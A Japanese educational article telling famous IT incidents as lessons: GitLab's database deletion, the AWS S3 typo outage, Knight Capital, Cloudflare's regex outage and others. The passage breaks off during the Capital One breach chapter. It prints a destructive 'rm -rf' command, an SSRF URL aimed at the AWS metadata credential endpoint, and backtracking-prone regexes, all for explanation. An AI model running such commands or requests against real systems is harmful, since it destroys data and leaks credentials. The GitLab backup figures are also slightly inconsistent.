09. 有名なインシデント集 - 失敗から学ぶ

読了時間: 60-80分(一気読みはきつい、章ごとに分けて読むと丁度よい) 想定読者: 「障害事例ってなんとなく聞いたことあるけど、ちゃんと中身を知らない」人 ゴール: 業界の名だたる障害を時系列・原因・教訓セットで語れて、自分のシステムを設計する時に「あの事故を防ぐにはどうするか」と発想できるようになる 手は動かさない: スマホ片手に物語として読むだけでOK

この記事で持って帰れること

  • GitLab, AWS S3, Knight Capital, Cloudflare など業界を揺るがした事件を「物語」として語れる
  • 各事件の “Technical root cause / 被害規模 / 教訓 / 防ぎ方” を一貫した枠組みで整理できる
  • 「うちでは絶対起きない」という油断こそ最大の脆弱性だと腹落ちする
  • blameless postmortem 文化の価値を理解し、自分の現場でも実践できる
  • 自分のシステム設計レビューで「これはあの事故と同じ構造では?」と気付ける

前回までとの繋がり (まとめ的な位置付け)

ここまでの記事 (TCP/IP, HTTP, DNS, TLS, OS, DB, 分散, クラウド) は 「正しく動かす」ための知識だった。今回は逆方向、「動かなくなった瞬間に何が起きたか」 の物語。失敗事例こそ最高の教科書という前提で読んでほしい。


大前提: なぜ「他人の障害」を学ぶのか

エンジニアの仕事は、突き詰めると「動くものを作って、止めないこと」だ。動くものを作るだけなら、ある程度の経験で誰でもできる。難しいのは「止めない」ほうで、こちらは10年経っても完全には到達できない領域に属する。

「止めない」ためには、何が「止める」のかを知らなければならない。そして残酷な真実として、自分のサービスを実際に止めて学ぶ余裕は、ほとんどのエンジニアに与えられていない。本番事故を1回起こすたびに、顧客、信用、売上、自分の精神を削る。10回も繰り返せば会社が傾く。

ではどうやって学ぶか。答えは、他人が払った高い授業料を、自分の経験のように吸収すること。世界中のエンジニアが過去数十年にわたって積み上げてきた事故の山がある。GitLab、AWS、Cloudflare、Fastly、Capital One、Equifax、Knight Capital。名前を聞いただけで業界の人間が顔をしかめる事件たち。

これらの事件には共通点がある。「うちでは絶対起きない」と思っていた現場で起きたということだ。世界最高峰のエンジニアを抱える会社が、信じられないほどシンプルなミスで巨額の損害を出している。だからこそ学ぶ価値がある。「自分は大丈夫」と思った瞬間、あなたも次の事例集に載る候補になる。

この記事では、業界で語り継がれる13の事件を取り上げる。それぞれ「何が起きたか」「なぜ起きたか」「被害規模」「教訓」「これを防ぐには」の構造で読めるようにしてある。物語として面白く、かつ自分のシステム設計に活かせるように。

この記事の楽しみ方

各事件は独立して読める。気になるタイトルから読んでいい。 「明日は我が身」感を持ちながら読むのがコツ。「自分の現場でこれが起きたら、どう動くか」を想像しながら読むと、ただの読み物が訓練になる。 章ごとに「教訓のチェックリスト」がある。そこだけ後で見返せば復習になる。

ポストモーテム(postmortem)文化について

ここで紹介する多くの事件は、原因も対応も全部公開されている。GitLab はリアルタイムで Twitter とライブ配信で復旧過程を実況した。AWS も Cloudflare も詳細なレポートを出している。

これは blameless postmortem(誰も責めないポストモーテム)という文化の産物。「誰が悪いか」ではなく「なぜシステムがこの状態を許したか」を問う。個人を責めると皆が隠すようになり、組織全体が学べなくなる。

あなたがこれらの事件を読めるのは、彼らが恥を忍んで公開してくれているからだ。読み終わったら、心の中で感謝してほしい。そして自分の現場でも同じ文化を作ろう。


第1章: GitLab 2017 - 本番DBに rm -rf した夜

1-1. 何が起きたか

2017年1月31日、夜23時頃。GitLab.com のエンジニア YP(仮名、本人がそう自称している)は、本番データベースのレプリケーション問題を調査していた。スパムによる大量の負荷で、PostgreSQL のセカンダリがプライマリに追いつけなくなっていた。

彼はセカンダリを一度クリーンに作り直そうとした。空のディレクトリを準備するため、セカンダリ側で次のコマンドを打った。

sudo rm -rf /var/opt/gitlab/postgresql/data

実行してから1〜2秒後、彼は気づく。「あれ、これ、プライマリで打ってないか?」

打ち間違いではない。SSH のウィンドウを取り違えていた。彼は 本番プライマリ DB のデータを削除した。300GB のデータが消えていく音は、削除速度的に瞬時。気づいて Ctrl+C を押した時点で、残っていたのは4.5GB。GitLab.com の全プロジェクト、Issue、コメントを保持するデータベースが、ほぼ空になっていた。

↓ GitLab DB削除事件のタイムライン ↓

sequenceDiagram
    participant YP as エンジニアYP
    participant Sec as セカンダリDB
    participant Pri as プライマリDB (300GB)
    participant Backup as バックアップ群
    Note over Pri,Sec: 23:00 レプリ遅延を調査中
    YP->>Sec: セカンダリを作り直そう
    YP->>Pri: rm -rf /var/opt/gitlab/postgresql/data
    Note over YP: SSHウィンドウを取り違え
    Pri-->>YP: 300GBが瞬時に消えていく
    YP->>YP: 1-2秒後 Ctrl+C (残り4.5GB)
    YP->>Backup: バックアップから復旧したい
    Backup-->>YP: 5系統中4つは使えない
    Backup-->>YP: LVMスナップショットのみ生きていた
    Note over Pri: 18時間停止 / 6時間分のデータ消失

1-2. ここから「バックアップが5系統あって5つ全部使えなかった」が始まる

普通なら「バックアップから戻せばいいよね」と思う。GitLab はちゃんとしたエンジニア組織で、バックアップ戦略を5系統用意していた。1つくらい使えるだろうと、誰もが思った。実態はこうだった。

1. 通常の毎日 pg_dump バックアップ: PostgreSQL のバージョン不一致で、本番より古いバージョンの pg_dump が使われており、出力ファイルがほぼ空(数十KB)。何ヶ月もこの状態だった。エラーは出ていたが、誰もモニタリングしていなかった。

2. ディスクスナップショット: そもそも GitLab DB のサーバーで有効になっていなかった。設定ミス。

3. LVM スナップショット: 24時間以内のものはあったが、たまたま24時間以上前のしかなく、丸1日分のデータが失われる。

4. Azure Disk Snapshot: NFS サーバー用には設定されていたが、PostgreSQL サーバーには設定されていなかった。

5. 別のレプリケーション: そもそも破損したから rm したのが事の発端。

つまり、5つの「保険」のうち、4つは存在しないも同然、1つは丸1日分のデータ損失を伴うものだけだった。GitLab は最終的に LVM スナップショットから復旧したが、サービス停止時間18時間、6時間分のデータ(Issue、コメント、プロジェクト変更)が永久に失われた。

1-3. 復旧過程の異例の透明性

ここからが GitLab の偉大なところ。彼らは復旧過程を YouTube でライブ配信 した。エンジニアがコマンドを打ちながら、視聴者数千人が見守る。Twitter で進捗を実況。

We accidentally deleted production data and may have to restore from backup.
Google Doc with live notes [link]

公開された Google Docs には、エラーメッセージ、実行コマンド、判断の根拠、すべてが書かれていた。世界中のエンジニアがリアルタイムでこの事故を見学した。

なぜここまで公開したのか

GitLab は当時から「すべてを公開する」を企業文化にしていた。事故も例外ではない、と。これは前述の blameless postmortem の極端な実例。

結果として、GitLab はこの事件で ユーザーから猛烈に信頼された。「事故を隠さない会社」という評判は、その後の数年にわたって彼らの最大の資産になった。

隠せば信用を失う、公開すれば信用を得る。これは多くの会社が逆向きの判断をしてしまう罠の典型例。

1-4. 原因と教訓

Technical root cause:

  • 複数 SSH ウィンドウでの取り違え(人的ミス)
  • バックアップが動作確認されていなかった(プロセスの欠陥)
  • バックアップ失敗のモニタリングが無かった(可観測性の欠如)
  • 本番への破壊的コマンドに「ガードレール」が無かった(仕組みの欠陥)

被害規模:

  • 18時間のサービス停止
  • 6時間分のデータ消失(5,037 プロジェクト、5,000 コメント、700 ユーザー)
  • ブランド毀損は限定的(公開対応が奏功)

学べる教訓:

  • バックアップは「取れている」だけでは無意味、「戻せること」を定期検証する
  • 「リストアテスト」を四半期に1度はやれ。やってないバックアップは存在しないも同然
  • 本番サーバーへの SSH ターミナルは色を変える(プロンプトを赤くする等)
  • 破壊的コマンドには確認プロンプトをかます safe-rm などのツールを使う
  • 監視の対象は「サービスが動いてるか」だけでなく「バックアップが成功しているか」も含める

自分のチェックリスト

  • バックアップから本番を復旧する手順を、最近実際に試したか?
  • 本番サーバーのプロンプトは、開発環境と一目で区別できるか?
  • バックアップジョブの失敗は通知されるか?
  • DB に rm -rf する権限を持つ人は最小限か?

詳細を知るには

  • 公開ポストモーテム: about.gitlab.com/blog/2017/02/10/postmortem-of-database-outage-of-january-31/
  • 当日の Google Docs(リアルタイムログ)も外部にミラーされて残っている
  • YP は事件後も GitLab で働き続けた。これも blameless 文化の体現

第2章: AWS S3 大規模障害 2017 - タイプミスでインターネットが止まった

2-1. 何が起きたか

2017年2月28日、午前9時37分(PST)。AWS のエンジニアが、S3 課金システムのデバッグ作業を行っていた。少数のサーバーを意図的に停止させて、サブシステムの挙動を確認しようとしていた。

そのエンジニアは、停止対象サーバーを指定するコマンドのパラメータを打ち間違えた。意図したより遥かに多くのサーバーが停止対象に含まれてしまった。具体的には、停止しようとしたのは課金系の少数サーバーだったが、コマンドは「Index subsystem」と「Placement subsystem」という S3 の中核サブシステムの大量サーバーを巻き込んだ。

S3 の Index subsystem は、オブジェクトのメタデータを管理する。「このバケットにこのキーのオブジェクトはあるか」「ETag は何か」を答える。これが落ちると、S3 への GET/PUT が全部失敗する。Placement subsystem は、新しいオブジェクトをどのストレージに配置するかを決める。これが落ちると、PUT が一切できなくなる。

両方が一気に落ちて、S3 US-EAST-1 リージョンが事実上停止した。

↓ AWS S3 タイプミス事故の連鎖 ↓

flowchart TD
    A[エンジニアがS3課金系の<br/>少数サーバーを停止予定] --> B[コマンド引数を打ち間違え]
    B --> C[Index subsystem 大量サーバー停止]
    B --> D[Placement subsystem 大量サーバー停止]
    C --> E[メタデータ参照不能<br/>GET/PUT失敗]
    D --> F[新規オブジェクト配置不能<br/>PUT不能]
    E --> G[S3 US-EAST-1 事実上停止]
    F --> G
    G --> H[Slack/Trello/Quora/Medium]
    G --> I[GitHub一部/Docker Hub]
    G --> J[IoT家電・スマート電球]
    G --> K[AWSステータスページ<br/>自身もS3依存で表示不能]

2-2. 復旧に時間がかかった皮肉

復旧は当初の予想を超えて時間がかかった。原因は、両サブシステムの再起動を、もう何年もやっていなかった こと。データ規模が大きくなりすぎていて、再起動時の「キャッシュウォームアップ」「整合性確認」に膨大な時間がかかった。

午前9時37分の障害発生から、S3 が完全復旧したのは午後1時54分。約4時間以上。

そして、もうひとつの皮肉。AWS 自身のステータスダッシュボード(status.aws.amazon.com)は、内部的に S3 上の静的ファイルとアイコンを使っていた。「障害を報告するページ自体が、障害で表示できない」 という事態になり、AWS は Twitter でしか障害情報を伝えられなかった。

2-3. 何が壊れたか

S3 US-EAST-1 は、当時もっとも古く、もっとも多くのサービスが依存していたリージョン。落ちた当日、影響を受けたサービスはざっと:

  • Slack(メッセージ送信ができない)
  • Trello(ボードが表示されない)
  • Quora(画像が出ない)
  • Medium(記事の画像が出ない)
  • Imgur、GitHub の一部機能、Coursera、Docker Hub
  • そして、IoT 家電。S3 に依存していたスマート家電が動かなくなった。電気の付かない電球が話題になった

US-EAST-1 という1つのリージョンの S3 が落ちただけで、世界中のサービスが止まった。「クラウドは分散」の幻想が一気に剥がれた瞬間。

2-4. 原因と教訓

Technical root cause:

  • コマンドの引数指定ミス(人的ミス)
  • 大規模操作に対する確認プロセスの不在
  • サブシステム再起動の動作確認を長年怠っていた(運用負債)

被害規模:

  • 4時間以上の S3 停止
  • 多数のサービスへの連鎖障害
  • 経済損失推定 $150M+ (業界全体)

学べる教訓:

  • 「依存しているサービス」を全部書き出してみろ。S3 が落ちたら何が止まるか答えられるか
  • マルチリージョン構成を真面目に検討する(コストとのトレードオフだが)
  • 自分のステータスページを、自分のインフラの上に置くな(依存性が循環する)
  • 大規模な本番操作は「ピアレビュー」「ドライラン」を経由させる
  • 「長期間再起動していないシステム」は時限爆弾。定期的にテスト的に再起動する

「自分のシステムは大丈夫」の罠

AWS S3 は当時、世界でもっとも信頼されたストレージサービスだった。耐久性 99.999999999%(イレブンナイン)を謳い、実績もあった。それでも「タイプミス」で4時間止まった。

あなたが使っているマネージドサービスが「絶対落ちない」と思っているなら、それはすでに事故の素地ができている。

詳細を知るには

  • 公式ポストモーテム: aws.amazon.com/message/41926/(“Summary of the Amazon S3 Service Disruption”)

第3章: Knight Capital 2012 - 45分で4億ドル溶かした話

3-1. 何が起きたか

2012年8月1日、午前9時30分。Knight Capital Group は、米国株式市場の大手マーケットメーカーだった。1日の取引高で米国市場の10%以上を扱う巨大プレイヤー。

この日、新しい取引アルゴリズム「Retail Liquidity Program (RLP)」をリリースした。デプロイメントは社内手順に従って、本番サーバー8台に対して新コードを配布する。

ここで運命の事故が起きる。デプロイ担当者は、8台中7台には新コードを配布したが、1台には配布し忘れた。その1台には、何年も前に廃止された古いコード「Power Peg」が残ったまま だった。

Power Peg はテスト用のアルゴリズムで、「テスト時にだけ、市場で買って即売って買って即売って」を高速で繰り返す機能を持っていた。本番では決して使われない前提のコード。しかし、新システムの設定フラグが Power Peg を有効化する書き方になっており、その8台目のサーバーは「テスト用無限売買モード」で本番市場に発注を始めた。

3-2. 1秒1000株、4億ドルが消えるまで

午前9時30分、市場が開いた瞬間から、Knight の8台目サーバーは154銘柄に対して 毎秒数千株単位の発注 を始めた。買って、売って、買って、売って、を高速で繰り返す。市場の他のプレイヤーから見ると「異常な板の動き」だが、当時のシステムでは数分間気付かれなかった。

社内のリスク管理担当が「何かおかしい」と気付いたのは、午前9時48分頃。その時点で既に大量のポジションが積み上がっていた。原因を特定し、停止できたのは午前10時15分頃。約45分間の暴走で、Knight は 約4.6億ドル(当時のレートで約450億円)の損失 を出した。

会社の資本のほぼ全てが消えた。Knight Capital は数日後に救済合併され、独立企業として終了した。

↓ Knight Capital - 1台のサーバーで古いコードが暴走 ↓

flowchart TD
    Deploy[新アルゴRLPをデプロイ] --> S1[サーバー1: 新コード]
    Deploy --> S2[サーバー2: 新コード]
    Deploy --> S3[サーバー3: 新コード]
    Deploy --> S4[サーバー4: 新コード]
    Deploy --> S5[サーバー5: 新コード]
    Deploy --> S6[サーバー6: 新コード]
    Deploy --> S7[サーバー7: 新コード]
    Deploy --> S8[サーバー8: デプロイ忘れ<br/>古いPower Pegコードのまま]
    S8 --> Flag[新システムのフラグが<br/>Power Pegを誤って有効化]
    Flag --> Loop[毎秒数千株を<br/>買って売って買って売って]
    Loop --> Pos[154銘柄に異常ポジション蓄積]
    Pos --> Loss[45分で4.6億ドル損失]
    Loss --> End[会社実質消滅・救済合併]

3-3. 原因と教訓

Technical root cause:

  • 8台中1台にデプロイし忘れる(人的ミス)
  • 古い未使用コードを削除せず残していた(コード負債)
  • 新システムのフラグが、古い機能を誤って有効化する設計(設計欠陥)
  • 自動取引システムに「キルスイッチ」が無かった(安全機構の欠如)
  • 異常検知のしきい値が高すぎ、または存在しなかった

被害規模:

  • 45分間で $460M 損失
  • 会社が事実上消滅
  • 米国 SEC が業界全体の自動取引規制を強化

学べる教訓:

  • デプロイは「全部に適用されたか」を自動検証する(CI/CD のリリース後ヘルスチェック)
  • 不要になったコードは「コメントアウト」ではなく「削除」しろ。git に残ってる
  • 自動的に動くシステムには必ず キルスイッチ を付ける
  • 異常検知(「1分間の取引量がいつもの100倍」など)の自動ストップを入れる
  • 「人間が手動で気付く」ことに頼ったシステムは、人間が気付く前に破滅する

アンチパターン: 「使わないコードはとりあえず残す」

「いつか使うかもしれない」「念のため残す」というコードは、必ず時限爆弾になる。

# 旧仕様、使ってないけど一応残す
if config.use_legacy_mode:
    return run_legacy_algorithm()  # 5年前のコード

ある日、誰かが use_legacy_mode のデフォルト値を True にする。あるいは設定ファイルの解釈が変わって True 扱いになる。そして本番で5年前のコードが動く。

使ってないコードは消せ。git にコミット履歴として残るから安心しろ。

詳細を知るには

  • SEC のレポート: SEC Release No. 34-70694(Knight Capital に対する制裁通知)
  • 業界用語で “Knightmare” と呼ばれている

第4章: Cloudflare 2019 7月 - 正規表現が世界中のインターネットを止めた

4-1. 何が起きたか

2019年7月2日、午後1時42分(UTC)。Cloudflare の WAF(Web Application Firewall)チームが、新しい攻撃検知ルールを本番にデプロイした。XSS 攻撃を検知する正規表現ルールの追加で、いつもの作業。

数秒後、Cloudflare のグローバルネットワーク全体で CPU 使用率が 100%に張り付いた。世界中の Cloudflare エッジサーバーが正規表現の評価に CPU を全部使い切り、HTTP リクエストを処理できなくなった。

Cloudflare は世界のインターネットトラフィックの相当な割合を捌いている(当時で約10%、現在はさらに大きい)。その全エッジが応答不能になり、結果として Cloudflare を使っている全世界のサイトが30分間ダウン した。Discord、Medium、Shopify、Coinbase などが軒並み止まった。

4-2. 原因の正規表現

問題の正規表現はこんな構造だった。

(?:(?:\"|'|\]|\}|\\|\d|(?:nan|infinity|true|false|null|undefined|symbol|math)|\`|\-|\+)+[)]*;?((?:\s|-|~|!|{}|\|\||\+)*.*(?:.*=.*)))

正規表現に詳しい人なら気づくが、これは catastrophic backtracking (破滅的バックトラック)を引き起こすパターン。.* のような貪欲マッチが入れ子になっていて、特定の入力に対して 指数関数的な計算時間 を消費する。

CPU が指数関数的に張り付くと、もはやリクエストを処理する余裕はない。世界中のエッジサーバーが、たった1つの正規表現の評価で機能停止した。

4-3. 復旧

Cloudflare のエンジニアは数分で「WAF が原因」と特定し、Global Kill(WAF を全世界で停止) を実行した。これは社内では「最終手段」と位置付けられていたが、躊躇なく押せたことが幸運だった。WAF を停止した瞬間、エッジは復活した。

完全復旧まで約30分。Cloudflare 史上、最長レベルの障害となった。

4-4. 原因と教訓

Technical root cause:

  • 正規表現の catastrophic backtracking
  • 新ルールのテスト環境でこのパターンが検出されなかった
  • 本番デプロイ前に「実トラフィックで CPU 影響を測る」プロセスがなかった

被害規模:

  • 30分の全世界 Cloudflare ダウン
  • 顧客サイト数百万件への影響
  • 業界全体への信頼揺らぎ

学べる教訓:

  • 正規表現は計算量を意識して書く.* の入れ子は危険信号
  • 「ルール変更」「設定変更」も、コードデプロイと同等のリスクと心得る
  • 段階的デプロイ(カナリアリリース)を、ルール変更にも適用する
  • キルスイッチを準備しておく。「最終手段」と思っていても、必要な時は躊躇なく押せる訓練を
  • 正規表現エンジンの選択も重要(Rust の regex クレートのように、線形時間保証のあるエンジンも存在する)

catastrophic backtracking とは

正規表現エンジンが「マッチを探すために色々な分岐を試す」処理をバックトラックと呼ぶ。特定のパターンと入力の組み合わせで、試す分岐が 2^n で増えてしまう状態が catastrophic backtracking。

古典的な例:

パターン: (a+)+b
入力:    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!

このパターンは、a+ を何回も繰り返した後で b を期待する。入力に b がないと、エンジンは「a+ を何回繰り返すか」のあらゆる組み合わせを試す。a が30個あるだけで、計算量は約10億回。

ユーザー入力を正規表現で評価する場面では必ずこれを意識する。本番事故の原因 TOP10 に入る。

詳細を知るには

  • 公式ポストモーテム: blog.cloudflare.com/details-of-the-cloudflare-outage-on-july-2-2019/
  • regex の安全な書き方: ReDoS(Regular expression Denial of Service)で検索

第5章: Fastly 2021 6月 - 1顧客の設定変更で世界中の CDN が落ちた

5-1. 何が起きたか

2021年6月8日、午前9時47分(UTC)。CDN サービス Fastly のグローバルネットワークが、突然世界中で機能しなくなった。原因も分からないまま、Amazon、Reddit、CNN、ガーディアン、ニューヨークタイムズ、英国政府サイト(gov.uk)、Twitch、Spotify、Shopify、Stripe など、Fastly を使う多数のサイトがエラーページを返した。

ダウン時間は約1時間。世界中のメディアが「世界中のインターネットが止まった」と報じた。

5-2. 原因: 1顧客が設定したエッジルール

調査の結果、原因は驚くほどシンプルだった。Fastly の1顧客が、自社の設定(VCL: Varnish Configuration Language)を変更した。その設定変更が、Fastly のソフトウェアにある未知のバグをトリガーした。

そのバグは「設定をパースする処理が、特定の有効な設定値の組み合わせで例外を起こす」というもの。例外を起こしたエッジサーバーは、すべての顧客向けのコンテンツ配信に失敗するようになった。問題のあるサーバーが世界中に伝播し、結果として全グローバルネットワークが応答不能になった。

問題は、この設定変更は5月12日のソフトウェア更新で初めて踏める状態になっていた ということ。約1ヶ月間、誰もこの設定値を使わなかったから事故が起きなかっただけで、いつ起きてもおかしくない時限爆弾だった。

↓ Fastly - 1顧客の設定変更が世界中に伝播 ↓

flowchart TD
    Update[5月12日 Fastlyソフト更新<br/>潜在バグを混入] --> Wait[約1ヶ月誰も踏まない]
    Wait --> Cust[1顧客がVCL設定変更]
    Cust --> Bug[特定の設定値の組み合わせで例外発生]
    Bug --> Edge1[エッジサーバー1がクラッシュ]
    Bug --> Edge2[エッジサーバー2がクラッシュ]
    Bug --> EdgeN[エッジサーバーN がクラッシュ]
    Edge1 --> Global[グローバルネットワーク全体に伝播]
    Edge2 --> Global
    EdgeN --> Global
    Global --> Down[Amazon / Reddit / CNN / NYT]
    Global --> Down2[gov.uk / Twitch / Spotify]
    Global --> Down3[Shopify / Stripe]
    Down --> Recover[原因設定を無効化<br/>約1時間で復旧]
    Down2 --> Recover
    Down3 --> Recover

5-3. 復旧

Fastly のエンジニアは「特定の顧客設定が原因」と特定するまでに約40分かかった。設定を無効化することで該当顧客のサーバーが復旧し、グローバルネットワーク全体が約1時間で復旧。

その後、原因のソフトウェアバグを修正してロールアウト。Fastly は数日後に詳細なポストモーテムを公開した。

5-4. 原因と教訓

Technical root cause:

  • ソフトウェア更新で混入したバグ(特定の設定値の組み合わせで例外)
  • 設定変更の影響範囲が「テナント単位」に分離されていなかった
  • 顧客設定をデプロイ前に検証する仕組みが不十分だった

被害規模:

  • 約1時間のグローバル CDN ダウン
  • 影響を受けたサイトは数千〜数万規模
  • マルチクラウド・マルチ CDN の動きが加速するきっかけに

学べる教訓:

  • マルチテナントの「設計」と「実装」は別の話。1顧客の操作が他顧客に影響しない設計が必要
  • 設定変更も「コード変更」と同じテストプロセスを通す
  • 「特定の入力値で初めて踏むバグ」は、コードカバレッジが100%でも検出できない。ファジングテスト が有効
  • CDN・DNS・認証など「下回りのインフラ」は、必ず複数ベンダーを使う設計を検討する
  • 単一ベンダー依存リスクを定期的に経営層に報告する

「マルチクラウド」「マルチ CDN」は本当に必要か

Fastly 障害の後、「マルチ CDN にすべき」という議論が活発化した。正しい議論だが、コストとのトレードオフがある。

マルチ CDN の実装は単純ではない:

  • DNS レベルでフェイルオーバー(GSLB)が必要
  • 両方の CDN にコンテンツを配信し続ける運用
  • キャッシュの整合性問題
  • 月額コストが概ね倍

「99.99% から 99.999% にするのに、月額コスト倍」が割に合うかは、サービスの性質次第。EC や金融なら倍払う価値があるが、ブログサイトなら不要かもしれない。

重要なのは 意思決定の根拠を文書化する こと。「コスト都合で単一 CDN」と書いてあれば、いざ落ちた時に「想定内」として動ける。

詳細を知るには

  • 公式ポストモーテム: fastly.com/blog/summary-of-june-8-outage

第6章: Heroku / AWS US-EAST-1 2014 - 1リージョンの障害が業界を巻き込む

6-1. 何が起きたか

2014年9月、AWS は EC2 と RDS に対して大規模なメンテナンス再起動を実施した。Xen ハイパーバイザーのセキュリティ脆弱性(XSA-108)への対応で、避けられない作業だった。

問題は、US-EAST-1 リージョンに依存していた多数のサービスが、再起動中に正常動作しなくなったこと。Heroku、Reddit、Pagerduty などが影響を受けた。Heroku は当時、Dyno(コンテナ)を US-EAST-1 だけにホストしていたため、Heroku 全体が一時的に不安定になった。

これ自体は計画メンテナンスで予告されていたが、影響範囲が想定より大きく、結果として「Heroku を使っているスタートアップ全部が止まる」という連鎖障害になった。

6-2. なぜここを取り上げるか

この事件は派手な「障害」ではない。AWS の予告通りのメンテナンスで、技術的な失敗ではない。しかし、業界に与えた影響は大きかった。

「1社のクラウド、1リージョンに依存する怖さ」を業界が初めて広く認識した瞬間 と言える。それまでは「AWS は信頼できる」「US-EAST-1 にとりあえず置く」が当たり前だった。この事件以降、本番システムを設計する際に「リージョン分散」「マルチクラウド」が本気で議論されるようになった。

6-3. 学べる教訓

Technical root cause: なし(計画的なメンテナンス)

学べる教訓:

  • インフラ提供側の「計画メンテナンス」も自分のサービスの障害になる
  • マネージドサービスを使うときは、「メンテナンスウィンドウ」を必ず確認する
  • リージョン分散は「障害時の保険」だけでなく「メンテナンス時の保険」でもある
  • どんなに信頼できるクラウドでも、単一リージョン依存は事業継続のリスク

第7章: GoDaddy 2012 - ルーター設定ミスで全顧客の DNS が落ちた

7-1. 何が起きたか

2012年9月10日、午前10時25分(PT)。世界最大のドメイン登録業者 GoDaddy のサービスが、突然グローバルで応答しなくなった。GoDaddy がホストする数千万のドメインが DNS 解決できず、Web サイトもメールも全停止。

当初、「Anonymous(ハッカー集団)の攻撃」という噂が広まった。実際 Twitter で犯行声明らしきものまで投稿された。しかし、GoDaddy の調査で判明した原因は、サイバー攻撃ではなかった。

社内のネットワークエンジニアが、コアルーターの設定変更で、ルーティングテーブルを破壊した のだった。BGP の設定変更時に経路情報が混乱し、GoDaddy のデータセンター内ルーターが互いに通信不能になった。結果、外部から GoDaddy の DNS サーバーが見えなくなり、ホストしている全ドメインの名前解決が失敗した。

復旧は約6時間後。GoDaddy がホストする顧客の多くが、ECサイト・企業サイトを止めた状態でこの6時間を過ごした。

7-2. 原因と教訓

Technical root cause:

  • ルーター設定変更時の経路情報破壊
  • 設定変更のテスト環境・ロールバック手順が不十分

被害規模:

  • 約6時間の DNS 全停止
  • 数千万ドメインへの影響
  • 「ハッカーが原因」と誤報

学べる教訓:

  • ネットワーク設定変更は、ソフトウェアデプロイ以上に慎重に。ロールバックが難しい
  • BGP・DNS など「世界中から見える設定」の変更は、必ずピアレビュー+段階適用
  • 「攻撃か事故か」を切り分ける運用体制を持っておく(IR チーム)
  • DNS は単一障害点になりやすい。複数 DNS プロバイダの併用を検討

BGP の繊細さ

BGP(Border Gateway Protocol)は、インターネット上の経路情報を交換するプロトコル。世界中の AS(自律システム)が BGP で「私はこのネットワークを持っています」を広告しあう。

BGP 設定を間違えると、自社のトラフィックを他社に流したり、他社のトラフィックを自社に吸い込んだりできる。実際、世界中で年に何度か起きている(次章の Cloudflare 2019、また 2008年の YouTube vs Pakistan Telecom など)。

インターネットは「全員が正しい設定をする」という性善説の上に成り立っている。


第8章: British Airways 2017 - 電源切替ミスで航空会社が停止

8-1. 何が起きたか

2017年5月27日、土曜日。バンクホリデー前の繁忙期、ロンドン・ヒースロー空港。British Airways(BA)の全システムが突然落ちた。航空券発券、搭乗手続き、手荷物追跡、フライト管理、すべてのIT基盤が機能停止。

ヒースローを始め英国の主要空港で、何千ものフライトが欠航・遅延。乗客は空港に置き去り、手荷物は世界中で行方不明になった。完全復旧まで丸2日かかった。

8-2. 原因

調査の結果、原因は 電源切替操作のミス と判明。BA のデータセンターでは、UPS(無停電電源装置)から商用電源への切り替え作業中に、何らかの操作ミス(または手順書の不備)で UPS が突然オフになった

問題は、UPS が落ちた瞬間にサーバーが「正常シャットダウン」ではなく「電源プチン」で停止したこと。そして再起動時に、不整合状態のままサーバーが立ち上がり、互いに通信できない状態になった。

数百のサーバーをひとつずつ手動でチェックし、データ整合性を確認し、正しい順序で起動し直す必要があった。これに2日。

被害は経済的に推定 $80M(約88億円)。これは航空会社にとって最悪レベルの障害。

8-3. 原因と教訓

Technical root cause:

  • 電源切替手順の不備
  • 異常電源切断時のシステム復旧手順が整備されていなかった
  • DR(Disaster Recovery)計画が「整っているつもり」だった

被害規模:

  • 2日間の全システム停止
  • フライト1,000便以上欠航
  • 乗客75,000人以上に影響
  • 経済損失 $80M+

学べる教訓:

  • 電源・空調・物理は IT の前提条件。クラウド時代でも DC は物理
  • DR 計画は「書いてある」だけでなく「定期的に演習する」
  • 障害発生時の「正しい起動順序」を文書化する(依存関係の可視化)
  • 「最悪 2日」を想定した広報計画も必要

DR ドリル(Disaster Recovery Drill)

大手金融機関では、年1〜2回「本物のサーバーを切る」DR 訓練を実施する。本番環境のレプリカで、災害想定の操作を実際にやってみる。

多くの場合、初回のドリルでは「想定通りに動かないこと」が大量に見つかる。これがドリルの目的。実害が出ない場で失敗を経験することで、本物の災害時に動ける組織になる。

「やったことのない手順は、本番でうまくいかない」を肝に銘じる。


第9章: Capital One 2019 - 元 AWS 従業員が WAF を悪用した1.06億件流出

9-1. 何が起きたか

2019年7月29日、米国の大手金融機関 Capital One が、1.06億件の個人情報流出 を公表した。米国・カナダの顧客約1億600万人分のデータが流出。氏名、住所、電話番号、メールアドレス、生年月日、年収、クレジットカード申込情報、社会保障番号の一部、銀行口座番号の一部。米国史上有数の規模の個人情報流出。

犯人は 元 AWS 従業員のソフトウェアエンジニア Paige Thompson(当時33歳)。彼女は AWS でクラウドエンジニアとして働いていた経歴があり、AWS のクラウド設定の弱点を熟知していた。

9-2. 攻撃手法: SSRF + EC2 IMDS

攻撃手法は SSRF(Server-Side Request Forgery) という古典的な脆弱性。

Capital One は AWS 上のサーバーで WAF(Web Application Firewall)を運用していた。この WAF に設定不備があり、外部から WAF を通じて「内部 URL を叩かせる」ことができた。具体的には:

http://capital-one-waf/?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

169.254.169.254 は AWS EC2 の メタデータエンドポイント(IMDS)。EC2 インスタンス自身が「自分の役割(IAM Role)の認証情報」を取得するための内部URL。外部から直接アクセスはできないが、サーバー内のプロセスからは見える。

WAF はこの内部 URL にアクセスし、IAM Role の一時的な認証情報を取得。攻撃者はその認証情報を使って Capital One の S3 バケットにアクセス、1.06億件のデータをダウンロードした。

↓ Capital One - SSRFでメタデータエンドポイントを奪取 ↓

sequenceDiagram
    participant A as 攻撃者 (元AWS従業員)
    participant W as WAF (Capital One)
    participant IMDS as EC2 IMDS<br/>(169.254.169.254)
    participant IAM as IAM Role 認証情報
    participant S3 as Capital One S3バケット
    A->>W: SSRF: ?url=http://169.254.169.254/...
    Note over W: URLフィルタリング不足
    W->>IMDS: 内部URL に GET
    IMDS->>IAM: IAM Roleの一時認証情報を取得
    IAM-->>W: アクセスキー / シークレット返却
    W-->>A: 認証情報がレスポンスに含まれる
    A->>S3: 取得した認証情報で直接アクセス
    Note over S3: IAM権限が過剰だった
    S3-->>A: 1.06億件の個人情報をダウンロード

9-3. 被害と余波

  • Capital One は 190M のクラス訴訟和解金
  • AWS は当事者ではないとされたが、IMDS のセキュリティ強化(IMDSv2 の導入)を進めた
  • Paige Thompson は2022年に有罪判決、保護観察と社会奉仕

9-4. 原因と教訓

Technical root cause:

  • WAF の SSRF 脆弱性(リクエスト URL のフィルタリング不足)
